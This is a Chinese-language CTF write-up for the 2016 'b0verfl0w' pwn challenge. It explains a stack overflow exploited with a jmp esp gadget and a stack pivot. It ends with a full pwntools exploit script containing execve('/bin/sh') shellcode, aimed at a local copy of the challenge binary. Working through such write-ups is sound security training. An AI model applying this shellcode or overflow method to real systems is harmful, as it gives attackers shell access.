【Writeup】X-CTF Quals 2016_Pwn_b0verfl0w

0x01 解题思路

  • 查看文件信息
    【Writeup】X-CTF Quals 2016_Pwn_b0verfl0w_第1张图片
      没有开NX,可以向栈上写入shellcode。防护措施只开了一个Partial RELRO,这意味着每次栈加载的地址会变化。
  • 拖入IDA 32 bits查看
    main函数里只有一个vuln函数
    【Writeup】X-CTF Quals 2016_Pwn_b0verfl0w_第2张图片
      显然存在栈溢出,但是只能输入50个字节,而填充的padding字段就需要0x20+4=36个字节,再加上EIP,一共40个字节,只有10个字节的shellcode基本找不到,所以需要考虑把shellcode放在payload的起始处,然后通过ROP跳转到输入点处执行shellcode。
      在不知道栈的确切地址的情况下,假设把shellcode附在payload的最后,如何获取shellcode地址呢?这里就需要一个简单的gadget:jmp esp。因为函数返回时的ret指令相当于pop eip;jmp eip,因此如果将记录返回后eip的内容替换为jmp esp这个gadget的地址,那么就会执行这个语句,而此时的esp刚好指向addr(jmp esp)的下一个位置,也就是跳转到之后栈上的语句执行,这样把shellcode放在此处就可以了。
      本题需要增加一个环节,也就是一个简单的stack pivot(栈指针劫持),把addr(jmp exp)之后的内存放上sub esp,0x28;jmp esp这两句代码,就可以跳转到输入点执行shellcode了。
  • 使用ROPgadget搜索jmp esp
    【Writeup】X-CTF Quals 2016_Pwn_b0verfl0w_第3张图片
  • 使用pwntools的pwnlib库里的asm/disasm可进行汇编/反汇编
    【Writeup】X-CTF Quals 2016_Pwn_b0verfl0w_第4张图片
    在这里插入图片描述

0x02 EXP

from pwn import *

io = process('./b0verfl0w')

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"

shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"

shellcode += "\x0b\xcd\x80"



sub_esp_jmp = asm('sub esp, 0x28;jmp esp')

jmp_esp_addr = 0x08048504

offset = 0x20
payload = shellcode
payload += 'A'*(offset-len(shellcode))
payload += 'BBBB'
payload += p32(jmp_esp_addr)
payload += p32(sub_esp_jmp)

io.sendline(payload)
io.interactive()

你可能感兴趣的:(i春秋_Linux,pwn入门教程系列,-,Writeups)